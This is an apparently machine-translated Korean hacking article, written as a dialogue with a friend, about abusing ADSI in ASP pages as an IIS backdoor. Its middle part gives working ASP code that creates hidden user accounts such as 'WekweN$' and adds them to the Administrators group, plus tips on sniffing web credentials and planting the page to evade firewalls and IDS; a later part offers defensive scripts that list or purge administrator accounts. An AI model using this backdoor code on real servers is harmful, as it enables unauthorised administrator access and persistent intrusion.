너 는 전혀 생각 지도 못 한 IIS 의 다른 뒷문
"왜 네 놈 은 올 때마다 좋 은 일이 없 니?""빨리 말 해,이번 엔 또 뭐 하 는 거 야!"
"거꾸로!""조급해 하지 마 세 요.사실은 예전 의 ASP 목마 가 지 워 지지 않 았 잖 아 요."
친구 가 믿 지 않 는 다.나 는 웹 페이지 를 열 어 코드 를 보 여 줬 다."헐,이게 무슨 목마 야?Cmd 도 없고 FSO 도 없고 암호 화도 안 하고 짧 은 코드 몇 마디..............................................................
이전 버 전의 IIS 에는 두 가지 문제 가 있 었 다.첫째,뚜렷 하고 개방 적 인 제3자 관리 제품 의 인터페이스 와 맞 춤 형 일반적인 관리 임무 자동화 프로 그래 밍 인터페이스 가 부족 하 다.둘째,네트워크 에 있 는 서버 가 서로 발견 할 수 있 도록 디 렉 터 리 서 비 스 를 제어 하 는 메커니즘 이 필요 하 다.이 인터페이스 가 존재 한다 면 사이트 작성 자 는 다양한 유형의 도 구 를 사용 하여 다양한 유형의 서버 관리 응용 프로그램 을 작성 할 수 있 습 니 다.예 를 들 어 사용자 관리 와 안전성 제품 을 제외 하고 성능 관리,설치 와 설정 에 사용 할 프로그램 도 만 들 수 있 습 니 다.그래서 Microsoft 는 1998 년 초 에 활동 디 렉 터 리 서비스 인터페이스(Active)를 발표 했다. Directory ServiceInterfaces,ADSI)의 새 버 전.ADSI 와 IIS 관리 대상(IIS) Administration Object,IISAO)는 디 렉 터 리 서비스 와 IIS 를 제어 하 는 공동 솔 루 션 을 함께 제공 했다.
IISAO 는 C++,Delphi,Java,VB 등 다양한 언어 로 작 성 된 응용 프로그램 에 접근 할 수 있 습 니 다.수량 증가 가 빠 른 것 을 제외 하고 제3자 사이트 관리 도 구 는 모두 ADSI 와 IISAO 를 통 해 IIS 와 디 렉 터 리 서 비 스 를 더욱 잘 연결 할 수 있다.또한 IISAO 는 한 서버 의 스 크 립 트 엔진 과 활성 서버 페이지(Active Server Page,ASP)WEB 페이지 를 통 해 접근 합 니 다.사실 IIS 를 사용 하고 있다 면 4.0 이상 관리 도구 의 HTML 버 전 은 IISAO 를 사용 하고 있 습 니 다.IISAO 는 Windows 스 크 립 트 호스트(Windows Scripting Host,WSH)명령 행 에 접근 합 니 다.
IISAO 와 마찬가지 로 ADSI 는 COM 대상 일 뿐 각자 의 디 렉 터 리 서비스 에서 대상 을 봉인 할 수 있다.이것 은 로 컬 디 렉 터 리 서비스 와 응용 에서 추상 적 인 층 을 만 들 었 기 때문에 사이트 작성 자 는 하나의 공공 인 터 페 이 스 를 통 해 다양한 디 렉 터 리 서 비 스 를 제어 할 수 있 습 니 다.이 기능 이 강 한 활동 디 렉 터 리 서비스 인 터 페 이 스 를 이용 하여 우 리 는 Windows 에서 NT 플랫폼 은 로 컬 이나 원 격 호스트 관리자 권한 에 대한 완전한 접근 을 만 들 었 습 니 다.스 크 립 트 공격 에 관 한 글 들 은 대부분 이 방면 의 응용 에 가 져 왔 습 니 다.
예 를 들 어 우 리 는 원 격 기기 에서 켜 진 서 비 스 를 보 려 고 합 니 다.(Pskill 을 준비 하고 방화벽 을 먼저 멈 추 었 습 니 다)코드 는 다음 과 같 습 니 다.
<%Set ComputerObj = GetObject("WinNT://127.0.0.1")
ComputerObj.Filter = Array("Service")
For Each Service in ComputerObj
Response.Write "Service display name = " & Service.DisplayName
Response.Write("
")
Response.Write "Service account name = " & Service.ServiceAccountName
Response.Write("
")
Response.Write "Service executable = " & Service.Path
Next%>
실행 후 결 과 를 되 돌려 줍 니 다.
어때요?서비스 다 나 왔 죠?서비스 에 대응 하 는 경로 까지 있어 미 션 관리자 보다 더 유용 하 다"고 말 했다."너 는 네가 방금 한 일 을 아직 분명하게 말 하지 않 은 것 같은 데?"OK.사실 학교 서버 에 있 는 ASP 프로그램의 코드 도 매우 적 고 계 정 추가 부터 권한 향상 까지 10 여 줄 에 불과 합 니 다.
<%
Set onlineServer= GetObject("WinNT://127.0.0.1")
Set newuser= onlineServer.Create("user","test2")
NewUser.SetPassword "test2"
NewUser.FullName="Test2 test"
NewUser.Description="testuser"
NewUser.Setinfo
Set oDomain = GetObject("WinNT://" &"127.0.0.1")
Set oGroup = oDomain.GetObject("Group", "administrators")
oGroup.Add ("winnt://test2")
Response.Write "test 2 사용자 추가 성공"
Response.Write "test 2 관리자 추가 성공"
Set oDomain=Nothing
Set oGroup=Nothing
%>
효과 좀 봐.
현재 기기 의 모든 계 정 을 보면 다음 코드 를 사용 할 수 있 습 니 다.
Set onlineServer= GetObject("WinNT://127.0.0.1")
onlineServer.filter=array("user")
for each member in onlineserver
response.Write member.name & "--" & member.FullName &"
"
next
Set onlineServer= GetObject("WinNT://127.0.0.1")
:
그 나 저 나 사이트 권한 향상 에 있어 서 이 용 도 는 크 지 않 고 특수 한 상황 에서 만 서버 권한 에 효과 적 인 공격 을 할 수 있 습 니 다.인터넷 에서 친구 가 이런 코드 를 쓴 적 이 있 습 니 다.<%@codepage=936%><%Response.Expires=0
on error resume next
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user","WekweN$")
od.SetPassword "WekweN" <-----비밀 번호
od.SetInfo
Set of=GetObject(oz&"/WekweN$,user")
oe.Add(of.ADsPath)
Response.write "WekweN$Content$nbsp;슈퍼 계 정 구축 성공!"%>
새로운 구멍 이 라 고 하면 일반 사용 자 를 관리자 로 끌 어 올 릴 수 있 습 니 다.그러나 테스트 를 통 해 성공 하지 못 했 습 니 다.비주류 공격 방법 에서 보통 이렇게 사용 합 니 다.암호 계 정 을 찾 아 보라 고 요구 하지 않 았 습 니까?당신 은 먼저 대상 네트워크 에서 상대방 의 WEB 연결 계 정 을 탐색 할 수 있 습 니 다.기본 적 인 상황 에서 WEB 계 정과 비밀 번 호 는 전달 할 때 완전히 투명 하기 때 문 입 니 다!그리고 이미 가지 고 있 는 일부 권한 으로 이러한 ASP 목 마 를 서버 에 침투 시 킵 니 다.(여기 서 특수 한 상황 을 말 합 니 다.누가 계 정 비밀번호 가 있 으 면 무적 이 라 고 생각 하 겠 습 니까?저도 어 쩔 수 없습니다.저 는 지금 특수 한 상황 에서 방화벽 과 IDS 의 방 해 를 피 할 수 있다 는 장점 이 있 습 니 다.일반 서버 는 Cmd.asp 로 해결 하 세 요.그렇게 귀 찮 게 하지 마 세 요.
"와,위험 하 니까 지우 고 지 워."친구 가 마 우 스 를 두 번 눌 러 서 내 프로그램 을 해 치 웠 다.나 는 별일 없 는 것 같 아서 작별 인 사 를 하고 돌아 갈 준 비 를 하고 있 었 다.
"거기 서!누가 이 걸 로 망 가 뜨리 면 어 떡 하지?"친구 가 나 를 끌 고 물 었 다"고 말 했다.사실 보호 방법 도 간단 하 다.바로 익명 의 방문 을 회복 하 는 것 이다."라 고 말 하 자 친구 에 게 커 다란 옥 스 퍼 드 사전 한 권 을 찍 으 려 고 한다.나 는 계속 말 할 수 밖 에 없다.
만약 에 이런 접근 을 꼭 사용 해 야 한다 면 대항 하 는 ASP 코드 를 쓸 수 있 습 니 다.예 를 들 어 다음은 컴퓨터 에 있 는 로 컬 관리자 그룹의 모든 구성원 을 되 돌려 주 는 것 입 니 다.자동 새로 고침 을 추가 할 수 있 습 니 다.침입 을 발견 하면 대화 상 자 를 뛰 어 내 릴 수 있 습 니 다.
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
Set objGroup = GetObject("WinNT://" & strComputer &
"/Administrators,group")
For Each objUser in objGroup.Members
Response.Write objUser.Name
Next
로 컬 관리자 의 사용자 계 정과 도 메 인 관리자 계 정 이 아 닌 것 을 발견 하면 삭 제 된 코드(Administrator 가 아니면 제거):
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
Set objGroup = GetObject("WinNT://" & strComputer &
"/Administrators,group")
For Each objUser in objGroup.Members
If objUser.Name <> "Administrator" and objUser.Name <> _
"work\Administrator" Then
objGroup.Remove(objUser.ADsPath)
End If
Next
로 컬 컴퓨터 의 게 스 트 계 정 상 태 를 보고 하 는 스 크 립 트:
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
Set objUser = GetObject("WinNT://" & strComputer & "/Guest")
If objUser.AccountDisabled Then
Response.Write "게 스 트 계 정 이 사용 되 지 않 았 습 니 다."
Else
Response.Write "게 스 트 사용자 가 사 용 됩 니 다."
End If
컴퓨터 에 공유 되 는 파일 이 있 는 지 확인 하 십시오:
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer &
"\root\cimv2")
Set colShares = objWMIService.ExecQuery("Select * from Win32_Share")
For each objShare in colShares
Response.Write "Name: " & objShare.Name
Response.Write "Path: " & objShare.Path
Response.Write "Type: " & objShare.Type
Next
"이렇게 하면 되 나 요?"나 는 그것 으로 IIS 뒷문 을 쓰 는 것 이 매우 좋다 고 생각한다.나 는 연구 해 야 한다."내일 은 일요일 이 니 가지 마.당직 좀 서 줘!"어 머,또 밤 새 워 기관실 을 봐 야 겠 어 요.제 형 제 는 주말 이에 요!
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
JSP 2.1 과 JSF 1.2 규범 에 따라 미리 보기 버 전 을 발표 합 니 다.J2EE 의 두 가지 중요 한 표현 층 기술 인 JSP 와 JSF 는 신기 술 규범 의 미리 보기 버 전 을 발 표 했 는데 그 중에서 가장 중요 한 것 은 표현 식 언어(Expression Language,EL)부...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.